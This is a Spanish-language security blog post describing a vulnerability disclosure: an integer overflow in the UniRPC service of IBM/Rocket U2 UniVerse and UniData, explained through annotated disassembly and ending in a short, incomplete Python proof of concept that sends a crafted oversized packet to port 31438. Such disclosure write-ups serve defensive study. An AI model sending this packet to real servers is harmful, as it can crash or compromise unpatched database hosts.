El ciclo de vida de un fallo.
Desde 48bits os deseamos unas felices comilonas y un próspero loquesea.
Quiero ambientar este post con una canción de la página revelación del 2010, ano.lolcathost.org
Su título es «Miau, Miau», letra a cargo de Alejandro Sanz y el fulano de Jarabe de Palo. La música fue compuesta por Luis Cobos.
Según los autores «con esta canción queríamos expresar nuestra consternación por todo lo que vemos en la tele y la gente nos cuenta en facebook: los superpobres que son muy pobres ¿sabes? la falta de berberechos humanos en China, el cambio simpático y los tierramotos de Haití. Sin olvidarnos de cómo nos vemos obligados a beber agua del grifo debido a la pirateria.»
Pulsa para escuchar el hit de las navidades: «Miau Miau»
Al lio…
Hace aproximadamente 3 años que vendí a ZDI un fallo en la implementación RPC de los productos IBM U2 (Universe y Unidata).
About InterCall
InterCall is an API (application programming interface) that enables a UNIX or Windows client to access data on UniVerse and UniData servers. With InterCall, your applications can:
Connect to one or more servers
Access files and records
Execute database commands and UniVerse BASIC programs On Windows platforms, you can write applications for client programs using any development tool that accesses DLLs, for example, Visual Basic, C, or Visual C/C++. On UNIX, you can use any tool that accesses static libraries, typically a C compilerMinimum System Requirements
To run InterCall applications, you need the following:
On a UNIX server:
UniVerse Release 8.3.3.1G or later, or UniData Release 5.1 or later
TCP/IP
UniRPC daemon (unirpcd) running
On a Windows server:
UniVerse Release 9.3.1 or later, or UniData Release 5.1 or later
TCP/IP, if connected to a UNIX client
TCP/IP or LAN Manager, if connected to a Windows client
UniRPC service (unirpc) running
{…}
bin/unirpc32.dll A DLL used by InterCall applications at run time.
El fallo, un integer overflow de libro, se producía en la función uvrpc_read_message:
.text:10002480 uvrpc_read_message proc near ; CODE XREF: uvrpc_read_packet+3A#p
{…}
; Check signature 0X6F02 || 0x6F01
.text:100025A0 mov esi, [edi]
.text:100025A2 sar esi, 10h
.text:100025A5 and esi, 0FFFFh
.text:100025AB mov ecx, esi
.text:100025AD and ecx, 0FF00h
.text:100025B3 cmp ecx, 6C00h
.text:100025B9 jnz short loc_10002619
.text:100025BB and esi, 0FFFF93FFh
.text:100025C1 cmp esi, 2
.text:100025C4 ja short loc_10002619
.text:100025C6 cmp esi, 1
.text:100025C9 jb short loc_10002619
;The rpc packet length is directly read from [packet+4]
.text:100025CB mov ecx, [edi+4]
[…]
; Another check ![packet+0x10]
.text:10002647 mov esi, [edi+10h]
.text:1000264A test esi, esi
[…]
;The server calculates the real length of the packet, (re)allocating memory if
;needed.
.text:1000269C mov dword_1001C604, edx
.text:100026A2 mov eax, [edi+14h] ; Number of rpc args
.text:100026A5 mov edx, [esp+2Ch+arg_4]
.text:100026A9 sar eax, 10h
.text:100026AC and eax, 0FFFFh
.text:100026B1 mov [edx], eax
.text:100026B3 mov eax, [edi+14h]
.text:100026B6 mov edx, [esp+2Ch+arg_10]
.text:100026BA and eax, 0FFFFh
.text:100026BF mov [edx], eax
;Integer Overflow
.text:100026C1 lea eax, [ecx+18h] ; ecx = our_size
.text:100026C4 cmp eax, nNumberOfBytesToRead
.text:100026CA jle short loc_100026EB ; signed comparison OOPS!
En este punto, si el tamaño era mayor el server necesitaba más memoria para albergar el paquete
.text:100026CD call sub_10002970 ; Realloc
pero si no llamaba a recv con el buffer por defecto hasta completar la recepción del paquete usando el valor de longitud que nosotros enviamos en el paquete, no el que él calculó.
.text:1000274E call sub_100033C0 ; recv(…)
[…]
.text:10003649 mov edx, [esp+228h+nNumberOfBytesToRead]
.text:10003650 mov eax, dword_1000D524[ebx]
.text:10003656 push 0
.text:10003658 push edx
.text:10003659 push ebp
.text:1000365A push eax
.text:1000365B call dword_1001C65C ; recv
El problema está en que al ser una comparación con signo , si el valor que nosotros le pasamos + 0x18 que le suma él, es un número negativo, nos saltaremos el check.
Ejemplo:
fake_size = 0x7ffffff0 :: Es > 0
+ 0x18h = 0x80000008 :: Ahora es < 0 asi que fake_size < nNumberofBytesToRead
entonces
n=recv(socket, buffer, fake_size-(n), flags)
Simple PoC
s.connect((sys.argv[1], 31438))
s.send("\x6c\x02\x6F\x6c" # Magic
+"\x7f\xff\xfF\xF0" # our_size
+"\x18\x19\x0a\x0b"
+"\x02\x0d\x0e\x0f"
+"\x00\x00\x00\x00" # check 1
+"A"*0x20
+whatever
Lo curioso de este caso es que IBM vendió esta rama de productos a la empresa Rocket. Estos por tanto heredaron el bug que todavía no había sido parcheado. Finalmente, hoy ha sido liberado el parche y el advisory de ZDI. El tiempo transcurrido entre una cosa y otra ha sido de casi 3 años. Yeah.
La historia de esta rama de productos la podéis leer en Wikipedia http://en.wikipedia.org/wiki/Rocket_U2
ZDI Advisory http://www.zerodayinitiative.com/advisories/ZDI-10-294/